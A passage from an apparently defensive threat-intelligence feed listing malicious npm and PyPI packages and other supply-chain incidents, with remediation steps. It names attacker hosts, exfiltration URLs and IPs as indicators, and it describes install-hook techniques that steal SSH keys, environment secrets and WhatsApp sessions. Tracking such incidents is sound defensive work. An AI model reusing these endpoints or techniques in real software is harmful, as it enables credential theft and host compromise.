# Threat Watch by Helix — Supply chain > Live security incidents: actively exploited vulnerabilities, breaches and supply-chain attacks — patch status, fixed versions and what to do, curated by Helix Cyber. All endpoints are public JSON/XML/text with CORS enabled; no auth. Poll changes.json at most hourly with If-None-Match (every response carries an ETag). ## Categories Every incident has exactly one `category`. - Vulnerabilities (`patch`): 1971 incidents, 65 live. Flaws in software you may run — which versions are affected, the fixed release, and what to do first. Page https://helix.ml/threat-watch?c=patch · RSS https://helix.ml/threat-watch/c/patch/feed.xml · JSON Feed https://helix.ml/threat-watch/c/patch/feed.json · changes https://helix.ml/threat-watch/c/patch/changes.json · llms.txt https://helix.ml/threat-watch/c/patch/llms.txt - Breaches (`breach`): 1271 incidents, 144 live. Attacks on companies and services. Nothing to patch on your side; rotate credentials and watch for follow-on phishing if you are a customer. Page https://helix.ml/threat-watch?c=breach · RSS https://helix.ml/threat-watch/c/breach/feed.xml · JSON Feed https://helix.ml/threat-watch/c/breach/feed.json · changes https://helix.ml/threat-watch/c/breach/changes.json · llms.txt https://helix.ml/threat-watch/c/breach/llms.txt - Supply chain (`supply-chain`): 728 incidents, 397 live. Compromised packages, releases, build pipelines and certificates. Check what you depend on and what you trust. Page https://helix.ml/threat-watch?c=supply-chain · RSS https://helix.ml/threat-watch/c/supply-chain/feed.xml · JSON Feed https://helix.ml/threat-watch/c/supply-chain/feed.json · changes https://helix.ml/threat-watch/c/supply-chain/changes.json · llms.txt https://helix.ml/threat-watch/c/supply-chain/llms.txt ## Data - All incidents: https://helix.ml/threat-watch/incidents.json - One incident: https://helix.ml/threat-watch/i/.json (timeline, sources, `agentBrief` markdown) - Update stream: https://helix.ml/threat-watch/changes.json - Fields: severity (critical|high|medium|low|unknown), patchStatus (patched|partial|unpatched|no-fix-needed|unknown), status (live|closed), exploited, stacks, tags, cveIds, affectedVersions, fixedVersions, actions. - Incidents marked `auto: true` were generated from an authoritative catalog (CISA KEV, Have I Been Pwned) and not yet reviewed by an editor. ## Use with your AI Poll changes.json hourly with ETag; for each new change, fetch the incident JSON, compare `stacks`, `product`, `affectedVersions` and `cveIds` against the systems and dependencies you manage, and alert only when one matches. Follow `actions`. ## Live incidents (397) ### [critical] Malicious npm @leadstack/crm-connect installs Hermes Agent backdoor via Telegram https://helix.ml/threat-watch/i/malicious-npm-leadstack-crm-connect-installs-hermes-agent-backdoor-via-telegram · Supply chain · no-fix-needed · since 2026-11-19 The malicious npm package @leadstack/crm-connect, posing as the official client for a CRM called LeadStack, published nine versions on 16 November 2026 by user zmaticoo. Its postinstall script installed Hermes Agent (Nous Research), fetched the agent's .env keys and SOUL.md instructions from attacker server 72.62.1.108, and registered it as a systemd service named 'LeadStack Lead Routing Daemon' connected to the attacker's Telegram bot. When npm install ran as root, the agent ran as root, giving the attacker shell, file, browser and job-scheduling control via Telegram. Later versions downloaded and ran JavaScript or binaries from the attacker's server. SafeDep flagged it five minutes after the last release; npm has removed it, but the publisher remains active with new packages. Anyone who installed affected versions is compromised. Do: Audit systems for the package and IOCs (leadstack-routing.service, ~/.leadstack/, 72.62.1.108); assume full host compromise if found; Remove the package, its systemd units, agent directories and rotate all credentials/secrets accessible to the install user; Block 72[.]62[.]1[.]108, 72-62-1-108[.]sslip[.]io and zmaticco[.]dev; Check CI/CD and developer machines where npm install may have run as root; Avoid npm install as root; use lockfiles and malicious-package scanning (e.g. SafeDep PMG) ### [critical] Malicious npm @c1-ease/* and autoloan packages: host-data beacon on install/require https://helix.ml/threat-watch/i/malicious-npm-c1-ease-and-autoloan-packages-host-data-beacon-on-install-require · Supply chain · no-fix-needed · since 2026-11-22 Four malicious npm packages — @c1-ease/card, @c1-ease/autoloan, autoloan, and @c1-ease/bank — were published with no legitimate functionality. Each declares a postinstall hook running beacon.cjs and/or invokes the beacon at require time; index.js exports a no-op Proxy so builds continue silently. The beacon collects os.hostname(), __dirname, process.cwd(), process.version, and package name, then POSTs JSON to https://vmi3699893.contaboserver.net:8787/_ah/dc with rejectUnauthorized:false. The scoped names mimic an internal @c1-ease namespace, matching dependency-confusion exfiltration. Affected versions include multiple 0.x, 1.x, 2.x, 3.x, and 99.0.1 releases. No patched versions exist; removal is required. No in-the-wild victim reports were included in the advisories. Do: Search lockfiles, node_modules, CI caches, and build logs for @c1-ease/card, @c1-ease/autoloan, autoloan, and @c1-ease/bank; remove any affected versions and rebuild from a clean state.; Block egress to vmi3699893.contaboserver.net and the /_ah/dc endpoint, and review network logs for POSTs to that destination.; Audit CI/build hosts that installed or required the packages; treat host identifiers as exposed and review for follow-on access.; Disable npm lifecycle scripts where feasible (e.g., npm ci --ignore-scripts) and enforce dependency-confusion controls and private-registry scoping.; Rotate any credentials or tokens available on affected build hosts if compromise is suspected. ### [critical] wppconnect npm compromise: malicious 2.4.1 and 2.10.82 steal secrets and WhatsApp sessions via Telegram https://helix.ml/threat-watch/i/wppconnect-npm-supply-chain-compromise-malicious-2-4-1-2-10-82-releases-steal-secrets-and-whatsapp-sessions-via-telegram · Supply chain · partial · since 2026-11-15 Two npm releases of the WhatsApp automation library wppconnect carry a credential stealer: @wppconnect-team/wppconnect 2.4.1 (published 2026-11-15 23:31 UTC) and @wppconnect/server 2.10.82 (published 2026-11-16 03:09 UTC). The library runs the payload on import; the server runs it on start, after a random 30 to 240 second delay, and skips CI runners, sandboxes and hosts behind a MITM proxy. Each run copies environment variables, .env and config files, and WhatsApp session files from tokens/ (and wppconnect_tokens/ in the server build), then uploads them to a hard-coded Telegram bot, so the session tokens can be used to take over WhatsApp accounts without a QR scan. The payload commits were unsigned, authored under the maintainer's GitHub account joaosouz4dev, and for the library not linked to any pull request; the release automation then tagged and built them. The library's 2.4.1 has a SLSA provenance attestation for a tag-triggered run of the repository's publish.yml at the release commit, but the server's 2.10.82 has no provenance attestation at all, so its publishing path is verified only as publisher GitHub Actions. The GitHub tag v2.4.1 and the default branch now show a clean-looking history without the payload; the malicious commits are still reachable by SHA. npm has deprecated both malicious versions with a security notice and moved latest back to 2.4.0 and 2.10.81. @wppconnect/server 2.10.x depends on @wppconnect-team/wppconnect ^2.3.6, so an install without a lockfile could pull the malicious library transitively. No source reviewed says how the maintainer account's push access was obtained, and no victim report has been published. Fixed: @wppconnect-team/wppconnect 2.4.0; @wppconnect/server 2.10.81 Do: Pin @wppconnect-team/wppconnect to exactly 2.4.0 (lockfile or npm overrides) before installing anything that depends on it, and downgrade @wppconnect/server to 2.10.81; @wppconnect/server 2.10.70 and later depend on @wppconnect-team/wppconnect with the range ^2.3.6, so an unpinned install can resolve 2.4.1 again; Verify package integrity against the registry: @wppconnect-team/wppconnect 2.4.1 sha512-b7ifN9DEUR//0ImJojfwlbkLJ3uBLVhY4CdXBeuTE9Ht5NPvtrE/MtJioT4rDerKGBnYryf+Sy6ebFw0bWPMfg==; @wppconnect/server 2.10.82 sha512-zDf9tuP7v92dvkBxwLQJeIyG8qTiRcAL1YkRzo9HEKEPr2kQB4WMEwYs4kVjJaH10KcS9OtQLrUb5pqLCCk5QQ==; Assume compromise if 2.4.1 or 2.10.82 was installed, imported or started, including as a transitive dependency: rotate every secret reachable from environment variables, .env, .env.local, .env.production, config.js, config.json and ormconfig.json on that machine (API keys, database URLs, cloud credentials); Revoke and re-provision WhatsApp sessions: unlink the linked devices and re-authenticate by QR scan, since the stolen session tokens allow account takeover; Hunt for indicators on machines that ran the packages: marker file /.wpp-support-diag (library) or /.wpp-diag (server); session folders tokens/ and wppconnect_tokens/ being read by an unfamiliar process; outbound connections to api.telegram.org and api.ipify.org; Do not vet the package from the GitHub repository: the v2.4.1 tag and master no longer contain the payload that ships in the npm tarball; review the published tarball instead; Check whether any WhatsApp accounts were accessed from unknown devices or IPs and review message history for abuse ### [high] BADBOX 3.0: Android TV boxes and AOSP devices — 40B daily ad-fraud bid requests, residential proxy enrollment https://helix.ml/threat-watch/i/badbox-3-0-android-tv-boxes-and-aosp-devices-40b-daily-ad-fraud-bid-requests-residential-proxy-enrollment · Supply chain · partial · since 2026-11-21 HUMAN Security's Satori team published research on BADBOX 3.0, a rebuilt version of the BADBOX Android botnet that returned after the 2025 takedowns. HUMAN says it generated roughly 40 billion fraudulent ad bid requests a day at its height, more than 4% of the CTV traffic its platform observed and more than three times the volume of the previous record holder, VASTFLUX. The malware infects cheap phones, tablets and streaming TV boxes running AOSP, plays video ads in hidden windows while impersonating legitimate streaming apps, sends fraudulent server-side ad insertion requests, and enrols devices in residential proxy networks, including PXYEDGE, which HUMAN describes as the successor to IpMoYu. Infected devices fetch malware modules from public code repositories. Researchers linked the operation to a Chinese electronics manufacturer through domains, device checks, a factory-installed TV launcher and a repository maintainer; the manufacturer is not named in the coverage read here. A Google-led XCPE disruption, in which HUMAN took part, took down several BADBOX 3.0 C2 domains, and one malware repository was taken down by a party the coverage does not name. HUMAN says its systems now filter the fraudulent advertising traffic. PXYEDGE was advertised with about 200,000 proxy nodes, and HUMAN's monitoring saw unique connections peak near 340,000. No infected-device count for BADBOX 3.0 and no device firmware fix appear in the sources read. Users should buy certified Android devices from reputable manufacturers and keep Play Protect enabled. Do: Treat generic AOSP Android TV boxes and cheap Android devices as untrusted; inventory, isolate, and remove or replace infected devices.; Block known BADBOX 3.0 C2 domains, malware repository URLs, and PXYEDGE/residential proxy endpoints; monitor egress for proxy and ad-fraud traffic.; Filter fraudulent CTV/SSAI bid requests and monitor ad platforms for spoofed streaming-app traffic.; Require certified Android devices and active Play Protect; prohibit uncertified devices on corporate networks.; Segment IoT and streaming devices and restrict outbound access to only required services.; Review ad-fraud and proxy-abuse logs and notify partners if traffic originates from your network. ### [critical] instantscrape (PyPI): malicious infostealer runs on install/import and exfiltrates files https://helix.ml/threat-watch/i/instantscrape-pypi-malicious-infostealer-runs-on-install-import-and-exfiltrates-files · Supply chain · unpatched · since 2026-11-21 The PyPI package instantscrape was published with embedded malicious code in versions 0.1.0, 0.1.5, and 0.1.8. According to the GitHub Advisory Database, the package overrides the install command in setup.py to execute malicious code during installation, and it can also execute an embedded malicious executable during import. The payload acts as an infostealer, with files-exfiltration and obfuscation reported. The advisory is rated critical and lists no patched versions, so any environment that installed or imported these releases may be compromised. No specific victim organisations or in-the-wild exploitation details were stated in the source. Organisations should treat affected installs as potentially compromised and rotate credentials and secrets exposed to those environments. Do: Immediately remove or quarantine instantscrape versions 0.1.0, 0.1.5, and 0.1.8 from all Python environments and dependency lockfiles.; Audit CI/CD logs, package installs, and imports for instantscrape; treat any host or build runner that installed or imported it as compromised.; Rotate credentials, API tokens, SSH keys, cloud keys, and other secrets accessible from affected environments.; Scan affected systems for indicators of infostealer activity and outbound file exfiltration; review setup.py and package artifacts for obfuscated payloads.; Block the affected package versions in internal package indexes and monitor for further malicious releases under the same name. ### [critical] testing1345py and signed-manifest-guard: malicious PyPI install hooks execute remote RAT script (no CVE) https://helix.ml/threat-watch/i/testing1345py-malicious-pypi-package-runs-remote-script-at-install-no-cve · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published GHSA-8hrc-gqpq-gwpv for PyPI package testing1345py 0.1.3 and 0.1.4, which overrides the install command in setup.py to download and execute a remote script. On 2026-11-21, GHSA-w4wf-4398-p973 added signed-manifest-guard 0.1.7 to the same campaign, 2026-11-testing1345, describing it as prepared to embed malicious code that downloads and executes a remote malicious script and delivers a RAT. The testing1345py retrieved code was benign at analysis time, but the campaign previously delivered a RAT and is classified malicious with critical severity. No patched versions are listed. Any environment that installed these versions should be treated as potentially compromised; remove the packages, inspect install-time execution, and rotate exposed credentials, tokens, and secrets. Do: Immediately identify and remove testing1345py 0.1.3/0.1.4 and signed-manifest-guard 0.1.7 from all Python environments, lockfiles, caches, and build artifacts; rebuild affected images and virtual environments from clean sources.; Treat hosts or CI runners that installed either package as potentially compromised: isolate them, inspect for RAT or remote-script execution, and rotate credentials, tokens, and secrets exposed to those environments.; Block testing1345py, signed-manifest-guard, and associated remote-script indicators at package proxies, EDR, and network controls; review setup.py install hooks and pip install logs for similar behavior.; Enforce trusted package allowlists and dependency review; avoid installing untrusted PyPI packages in privileged CI or production environments. ### [critical] Malicious npm package @pkgship/frps-windows-amd64: installs fully compromise hosts (no CVE) https://helix.ml/threat-watch/i/malicious-npm-package-pkgship-frps-windows-amd64-installs-fully-compromise-hosts-no-cve · Supply chain · unpatched · since 2026-11-21 On 2026-11-21, the GitHub Advisory Database published GHSA-r9wp-474x-c72c for @pkgship/frps-windows-amd64 0.71.1, an npm package classified as malware (CWE-506, Embedded Malicious Code). The advisory states that any computer with the package installed or running should be considered fully compromised, and that removing the package may not remove all malicious software. No patched versions exist. The package had about 19 downloads per month, limiting likely exposure but not eliminating risk for anyone who installed it. There is no public exploitation detail, CVE, or attribution. Affected users should isolate hosts, remove the package, and rotate all secrets and keys from a separate trusted computer. Do: Immediately identify any hosts or CI runners with @pkgship/frps-windows-amd64 0.71.1 installed; isolate them from the network.; Remove the package and, because full control may have been given to an outside entity, rebuild or reimage affected systems rather than relying on uninstall.; From a different, trusted computer, rotate all secrets, API keys, SSH keys, tokens, and credentials that were present on affected hosts.; Audit npm lockfiles, dependency trees, caches, and build artifacts for the package or related @pkgship packages; block the version in package managers and proxies.; Monitor affected hosts and accounts for suspicious activity and review npm install logs to determine exposure. ### [critical] signed-manifest-updater (PyPI): malicious install script downloads and executes remote code https://helix.ml/threat-watch/i/signed-manifest-updater-pypi-malicious-install-script-downloads-and-executes-remote-code · Supply chain · no-fix-needed · since 2026-11-21 The PyPI package signed-manifest-updater version 0.1.5 contains malicious install-time code. Its setup.py overrides the install command to download and execute a remote script during installation. The advisory says the downloaded code was benign during analysis, but the package is clearly part of campaign 2026-11-testing1345, which previously delivered a RAT. The package is rated critical and has no patched versions; the only affected version listed is 0.1.5. Anyone who installed or depends on this package should treat the environment as potentially compromised, remove the package, audit for remote script execution, and rotate secrets that may have been exposed. Do: Immediately uninstall signed-manifest-updater 0.1.5 and block it in package indexes or dependency policies.; Audit systems, CI runners, containers, and developer machines where the package was installed for signs of remote script execution or RAT activity.; Rotate credentials, tokens, and secrets accessible from any environment that installed the package.; Review pip install logs and dependency lockfiles for signed-manifest-updater or related campaign indicators.; Enforce trusted package sources, hash pinning, and install-time script restrictions where feasible. ### [critical] certify-web (PyPI) — malicious package installs NinjaOne RMM backdoor via .pth file, giving attackers full machine control https://helix.ml/threat-watch/i/certify-web-pypi-malicious-package-installs-ninjaone-rmm-backdoor-via-pth-file-giving-attackers-full-machine-control · Supply chain · no-fix-needed · since 2026-11-19 certify-web 0.1.3 on PyPI is malware, not a working tool. Its wheel ships a .pth file, which Python executes at every interpreter start, so the package never has to be imported. That hook installs a NinjaOne remote-management agent tied to an attacker-controlled account and keeps it persistent, which gives the operator remote control of the machine. kam193 catalogued it as a single-package campaign (2026-11-certify-web) on 2026-11-19, OSV published MAL-2026-20257 the same day, and GitHub published GHSA-v97v-7r82-xcjg as critical on 2026-11-20 (CWE-506, vulnerable range 0.1.3, no patched version). PyPI now reports the project as quarantined. pypistats.org shows 98 downloads excluding mirrors and 267 including mirrors across 2026-11-19 and 2026-11-20 (the second day may be incomplete). Anyone who installed 0.1.3 should treat the host as compromised: uninstall, delete the .pth files it wrote, look for NinjaOne enrolments nobody approved, and rotate credentials reachable from that machine. Do: Immediately uninstall certify-web and delete any .pth files it installed from site-packages directories; Check the NinjaOne console and endpoints for agent enrolments that your own IT did not deploy, and remove them; Treat any machine that installed certify-web 0.1.3 as fully compromised: rotate credentials, revoke sessions and tokens, and reimage if possible; Audit Python environments and CI systems for exposure to the package and block certify-web in dependency resolution ### [critical] @fedfub npm packages: postinstall credential stealer with C2 polling (self-spread coded, not observed) https://helix.ml/threat-watch/i/fedfub-npm-worm-credential-stealing-postinstall-in-fedfub-utils-and-fedfub-string-utils · Supply chain · no-fix-needed · since 2026-11-20 Two npm packages from one publisher, @fedfub/utils 1.0.1 and @fedfub/string-utils 1.0.0, were removed from the registry and both now return 404. Each carries a postinstall script that the advisories (OpenSSF malicious-packages, finder credited as wormsign) describe as a credential stealer: it collects environment variables whose names match common secret patterns, up to 5000 characters of source files under the working directory, and the contents of ~/.ssh, then posts them to 73.218.105.44:8080. The same analysis describes a self-spread routine (an attempted republish under -security-patch or -patch at 99.0.0, and injection of a dependency into package.json files under the home directory), a persistence entry (an @reboot crontab line, or a Windows onlogon task), and a command poll every 30 seconds. Those spread and persistence behaviours come from code analysis; no source reports observed spread. Only the @fedfub/utils sandbox run is reported to have written the crontab entry, and only the C2 contact is reported for string-utils. We found no registry, download or GitHub evidence of real installs or of spread. Treat any install as full compromise: rotate cloud, database, payment and signing secrets, and check ~/.ssh and crontab. No fixed version exists. Do: Assume compromise if either package was installed: rotate all secrets (cloud keys, database, Stripe/PayPal, JWT signing keys) and treat ~/.ssh keys as stolen; Audit crontabs for @reboot entries and Windows Task Scheduler for onlogon tasks; remove persistence; Search all package.json files (especially under the home directory) for injected fedfub-utils dependencies or -security-patch/-patch@99.0.0 packages and remove them; Check npm logs and registry for unauthorized publishes of -security-patch or -patch packages under your dependency names; Block outbound traffic to 73.218.105.44:8080 and hunt for /collect, /cmd and /result connections in logs; Pin dependencies, use lockfiles, and avoid postinstall scripts from untrusted publishers ### [critical] orion-overlord: Malicious npm package compromises hosts and exposes secrets https://helix.ml/threat-watch/i/orion-overlord-malicious-npm-package-compromises-hosts-and-exposes-secrets · Supply chain · unpatched · since 2026-11-20 The npm package orion-overlord is malicious, according to GitHub Advisory GHSA-rf8v-v97c-32r7. The advisory states that any computer with the package installed or running should be considered fully compromised, and that all secrets and keys stored on that computer should be rotated immediately from a different computer. The package has no patched versions and affects all versions (>= 0). It has roughly 270 downloads per month. Removing the package is recommended, but because an outside entity may have gained full control of the host, removal alone may not eliminate all malicious software installed as a result. No specific attacker, campaign name, CVE, or in-the-wild exploitation details are provided. Do: Treat any host that installed or ran orion-overlord as fully compromised; isolate it from networks and production credentials.; From a different, trusted computer, immediately rotate all secrets, API keys, tokens, SSH keys, and credentials that were present or accessible on affected hosts.; Remove the orion-overlord package and rebuild affected systems from trusted sources rather than relying on cleanup alone.; Hunt for persistence, unauthorized access, and data exfiltration on affected hosts and related CI/CD or developer environments.; Audit npm dependency trees and lockfiles for orion-overlord; block the package in registries and dependency policies.; Review logs for package installation and any subsequent suspicious activity, and consider full reimaging of compromised machines. ### [critical] swaplearn-cli: malicious npm package compromises hosts and steals secrets https://helix.ml/threat-watch/i/swaplearn-cli-malicious-npm-package-compromises-hosts-and-steals-secrets · Supply chain · unpatched · since 2026-11-20 GitHub Advisory Database published a malware advisory for the npm package swaplearn-cli on 2026-11-20. All versions from 0 onward are affected, and no patched version exists. The advisory warns that any computer with the package installed or running should be considered fully compromised, with possible full control handed to an outside entity. Secrets and keys stored on affected machines should be rotated from a different computer. Removing the package may not eliminate all malicious software. The package has about 61 downloads per month, so exposure appears limited but high-impact for anyone who installed it. No CVE, source code, or specific exploitation reports are listed. Do: Treat any host that installed or ran swaplearn-cli as fully compromised; isolate it from networks and do not trust credentials on it.; Rotate all secrets, API keys, SSH keys, tokens, and passwords from a separate trusted machine.; Remove the package and rebuild or reimage affected systems rather than relying on uninstall.; Search npm caches, lockfiles, CI logs, and developer machines for swaplearn-cli and block it in registries or proxies.; Audit for persistence and unauthorized access, and monitor for credential misuse. ### [critical] @expo-probe-ff8e2b/snack-probe-c2a16: malicious npm package executes mutable GitHub branch payload on install https://helix.ml/threat-watch/i/expo-probe-ff8e2b-snack-probe-c2a16-malicious-npm-package-executes-mutable-github-branch-payload-on-install · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory GHSA-v33p-qh9f-g4rp reports malicious npm package @expo-probe-ff8e2b/snack-probe-c2a16 versions 1.0.0 and 1.0.1. Its package.json depends on expo-prepare-probe-c2a16db2 via a mutable git branch ref, git+https://github.com/lordseidon/recon-vps.git#expo-probe-1106-c2a16db2, rather than a pinned registry version or commit SHA. npm install clones whatever that branch points to and runs its lifecycle scripts without integrity checking. The package's own index.js is a one-line stub, so the install-time git dependency is the payload. The randomized scope/name and recon-vps repository suggest a reconnaissance-style supply-chain drop vehicle. No patched versions are listed; affected users should remove the package and audit installs. No in-the-wild exploitation is stated. Do: Immediately remove @expo-probe-ff8e2b/snack-probe-c2a16 1.0.0/1.0.1 from projects and lockfiles; block the package and lordseidon/recon-vps in registry/proxy allowlists.; If installed, treat the host as potentially compromised: inspect npm lifecycle logs, review processes and network connections, and rotate credentials/secrets accessible to the install user.; Audit package.json and lockfiles for git+https dependencies with mutable branch refs; pin to commit SHAs or registry versions with integrity hashes.; Run npm install with ignore-scripts where feasible and use a sandboxed CI runner for untrusted dependencies.; Search CI logs and artifact caches for the package name and dependency; rebuild from clean environments. ### [critical] delta-nested-filter-tracer (PyPI): malicious install/import code exfiltrates host data https://helix.ml/threat-watch/i/delta-nested-filter-tracer-pypi-malicious-install-import-code-exfiltrates-host-data · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published GHSA-4ccc-7rf5-f7fr for the PyPI package delta-nested-filter-tracer, versions 1.0.0 and 1.0.0.post1. The package has no legitimate purpose: importing it or installing it exfiltrates basic host information such as IP address and username, and its setup.py overrides the install command to run malicious code during installation. OpenSSF credited the finding (MAL-2026-20307) and classified it under the GENERIC-standard-pypi-install-pentest campaign as PROBABLY_PENTEST with limited risk. No patched versions exist. Anyone who installed or imported the package should assume limited host reconnaissance occurred and should remove it, block the versions, and review affected environments for install-time execution and outbound data transfer. Do: Search lockfiles, SBOMs, CI logs, and package caches for delta-nested-filter-tracer 1.0.0 and 1.0.0.post1; remove and block both versions.; If the package was installed or imported, treat the host as exposed: inspect setup.py install-time execution, review outbound connections, and rotate secrets/credentials present in that environment.; Block the package in artifact repositories and enforce dependency allowlists or trusted-package policies.; Monitor for anomalous outbound transfers of host metadata such as IP address and username from affected systems.; Prefer pinned, reviewed dependencies and audit new PyPI packages before allowing installation in CI or production. ### [critical] identity-poc npm package: malicious load-time recon and host-data exfiltration via dependency confusion https://helix.ml/threat-watch/i/identity-poc-npm-package-malicious-load-time-recon-and-host-data-exfiltration-via-dependency-confusion · Supply chain · no-fix-needed · since 2026-11-20 The npm package identity-poc version 1.0.3 contains malicious code that executes a top-level IIFE on require() or CLI invocation. It runs id, whoami, and ls -la, reads /etc/passwd, and POSTs the collected report to an attacker-supplied URL from process.argv[2]. The payload emits an IDENTITY_POC_EXECUTED marker and is described as a controlled execution verification, consistent with a dependency-confusion or bug-bounty proof-of-concept. Any environment that installs and loads this package name, including through dependency-confusion resolution against an internal package of the same name, executes shell reconnaissance and leaks host data off-box. No patched versions are listed; the package should be removed or blocked. Do: Immediately remove identity-poc 1.0.3 from lockfiles, node_modules, package caches, build artifacts, and container images.; Block the identity-poc package name and version in npm proxies, registries, and dependency-confusion controls.; Investigate any host that installed or loaded the package for credential exposure and outbound POSTs to unknown URLs; rotate secrets if exposure is suspected.; Audit internal package names and scopes for dependency-confusion exposure, and enforce scoped registry configuration and lockfile review.; Monitor egress logs and process telemetry for id, whoami, ls -la, /etc/passwd access, and the IDENTITY_POC_EXECUTED marker. ### [critical] xssdoctor-muse-task448-provider-runtime: malicious npm package exfiltrates local canary file to hardcoded host https://helix.ml/threat-watch/i/xssdoctor-muse-task448-provider-runtime-malicious-npm-package-exfiltrates-local-canary-file-to-hardcoded-host · Supply chain · no-fix-needed · since 2026-11-20 The npm package xssdoctor-muse-task448-provider-runtime version 1.0.0 is malicious, according to a GitHub Advisory Database entry sourced from Amazon Inspector. Its exported runProviderHealth() reads ../../../canary/.task318-private-canary relative to the package install location, base64url-encodes the contents, and sends them as a query parameter to the hardcoded endpoint https://poc.xssdoctor.com/task328/collect. The scoped-looking package name is consistent with a dependency-confusion lure: an internal build resolving this public name instead of a private dependency could load it and transmit any file present at that path to the author-controlled host. The read reaches outside the package directory and the destination is not caller-configurable. No patched versions exist; affected users must remove the package and treat exposed canary contents as compromised. Do: Immediately remove or block xssdoctor-muse-task448-provider-runtime@1.0.0 from all npm builds, lockfiles, caches, and developer machines; do not load the module.; Block and monitor egress to poc.xssdoctor.com and inspect proxy, DNS, and firewall logs for requests to /task328/collect.; Audit dependency resolution and lockfiles for dependency-confusion exposure, especially any internal package with a similar scoped-looking name.; If the package may have executed, treat ../../../canary/.task318-private-canary and adjacent secrets as exposed; rotate credentials and review access logs.; Search source and build logs for runProviderHealth() calls and add npm malware/allowlist controls. ### [critical] scope-token-fetch-vector: malicious PyPI package exfiltrates installer username, hostname, and cwd on pip install https://helix.ml/threat-watch/i/scope-token-fetch-vector-malicious-pypi-package-exfiltrates-installer-username-hostname-and-cwd-on-pip-install · Supply chain · no-fix-needed · since 2026-11-20 On 2026-11-20, the GitHub Advisory Database published GHSA-ggc8-jm8h-f86f for the PyPI package scope-token-fetch-vector, versions 1.0.0 and 1.0.0.post1. Its sdist setup.py unconditionally sends a POST during a default pip install to an author-controlled Cloudflare Workers endpoint, transmitting getpass.getuser(), socket.gethostname(), and os.getcwd(). Importing the module also exfiltrates basic host information, and the package has no other purpose. The package calls itself a dependency-confusion canary, but installers cannot opt out. No patched versions exist. The advisory categorizes it as PROBABLY_PENTEST under GENERIC-standard-pypi-install-pentest. Anyone who installed or imported it should treat host identifiers as exposed and audit egress to the endpoint. Do: Immediately remove scope-token-fetch-vector 1.0.0 and 1.0.0.post1 from developer machines, CI runners, and build images; block the package and versions in artifact/package controls.; Search pip logs, lockfiles, SBOMs, and CI history for installs or imports; inspect egress logs for POSTs to package-registry-receiver-stg.depx-research-bf0.workers.dev/api/pings.; Treat affected hosts' usernames, hostnames, and working-directory paths as disclosed; review for follow-on reconnaissance and rotate any credentials or tokens that may have been exposed in those environments.; Restrict install-time code execution with trusted indexes, build isolation, and network egress controls; review dependencies for unexplained setup.py network calls. ### [critical] Baileys npm typosquat malware wave: malicious forks compromise hosts and WhatsApp sessions https://helix.ml/threat-watch/i/malicious-npm-packages-impersonating-baileys-whatsapp-library-raffnotdev-baileys-wanzforme-bails-zaxius-baileys-full-hos · Supply chain · no-fix-needed · since 2026-11-19 On 2026-11-19 and 2026-11-20 GitHub published malware advisories for a wave of npm packages impersonating the Baileys WhatsApp Web API, including @raffnotdev/baileys, @wanzforme/bails*, @zaxius/baileys, vp-baileys, @zaiinlin/bails, @kingorwot/my-baileys, @iky-erza/baileys, @ikyerza/baileys, @izi-coder/baileys, @yshtxxproject/baileys, @zanxiky/baileys, @trashcore/baileys, @vanzky/baileys, @violetix/baileys, @sapp1/baileys-pro, @kropa/baileys and @kropaku/baileys. All are CWE-506 with no patched versions. Some resolve libsignal or whatsapp-rust-bridge from unpinned github: URLs, enabling install-time lifecycle scripts; @kingorwot/my-baileys auto-follows attacker-controlled WhatsApp channels. @kropa/baileys and @kropaku/baileys hide an outbound HTTPS endpoint, fiora.nixel.my.id, in the message-send path via char-code obfuscation, indicating credential/message exfiltration. Any host with these packages installed should be considered fully compromised. Remediation is removal, secret and WhatsApp credential rotation from an unaffected computer, and host/CI rebuild. Do: Immediately remove all affected packages, including @sapp1/baileys-pro, @kropa/baileys and @kropaku/baileys, from every machine, CI runner and dependency tree; treat affected hosts as fully compromised.; Rotate all secrets, API keys, tokens and WhatsApp credentials stored on or accessible from affected machines, using an unaffected computer.; Rebuild/reimage affected machines and CI environments rather than trusting cleanup.; Block the package names, the referenced github: dependency sources (7ucg/whatsapp-rust-bridge, tenka-san/libsignal-node, Cogils/libsignal-node) and the hidden endpoint fiora.nixel.my.id in internal registries/proxies and egress controls.; Audit lockfiles and dependency history to identify when the malicious packages were introduced and what may have been exfiltrated or manipulated (e.g. unwanted newsletter follows, WhatsApp channel follows, message-send traffic to fiora.nixel.my.id).; Review any WhatsApp/Baileys-related dependencies for typosquats and unpinned github: dependencies. ### [critical] @zetagoaurum-socket/wasocket: Malicious npm package compromises hosts and steals secrets (no CVE) https://helix.ml/threat-watch/i/zetagoaurum-socket-wasocket-malicious-npm-package-compromises-hosts-and-steals-secrets-no-cve · Supply chain · unpatched · since 2026-11-20 GitHub Advisory Database published GHSA-wqcq-qg5g-jm7r on 2026-11-20 for malware embedded in the npm package @zetagoaurum-socket/wasocket. Versions 2.1.0 through 2.2.2, 3.0.0, 3.1.0, and 3.2.7 are affected; no patched version exists. The advisory warns that any computer with the package installed or running should be considered fully compromised, with possible full control by an outside entity. All secrets and keys on affected machines should be rotated from a different computer. The package has about 3,166 downloads per month. Removal is recommended, but may not eliminate all malicious software. No CVE, CVSS, EPSS, or specific exploitation reports are provided. Do: Treat any host that installed or ran @zetagoaurum-socket/wasocket as fully compromised and isolate it from the network.; Rotate all secrets, tokens, SSH keys, cloud credentials, and certificates from a separate clean machine.; Remove the package, block the affected versions, and rebuild or reimage affected hosts after forensic investigation.; Audit lockfiles, CI/CD pipelines, developer machines, and dependency trees for the package and monitor for unauthorized access. ### [critical] tonty-tech-interviews: malicious npm package fully compromises hosts and exposes secrets (GHSA-24gg-4qq2-6r2g) https://helix.ml/threat-watch/i/tonty-tech-interviews-malicious-npm-package-fully-compromises-hosts-and-exposes-secrets-ghsa-24gg-4qq2-6r2g · Supply chain · no-fix-needed · since 2026-11-20 GitHub Advisory GHSA-24gg-4qq2-6r2g, published 2026-11-20, identifies the npm package tonty-tech-interviews as malware containing embedded malicious code (CWE-506). All versions from 0 onward are affected, with no patched release; the package has about 4,002 downloads per month. The advisory states that any computer with the package installed or running should be considered fully compromised, and that all secrets and keys stored on it should be rotated immediately from a different computer. Removal is recommended, but because an outside entity may have gained full control, removing the package may not eliminate all malicious software. No CVE, exploitation details, or specific victim organizations are provided. Do: Treat any host that installed or ran tonty-tech-interviews as fully compromised; isolate it and preserve evidence for investigation.; From a different, trusted computer, immediately rotate all secrets, API keys, tokens, SSH keys, and 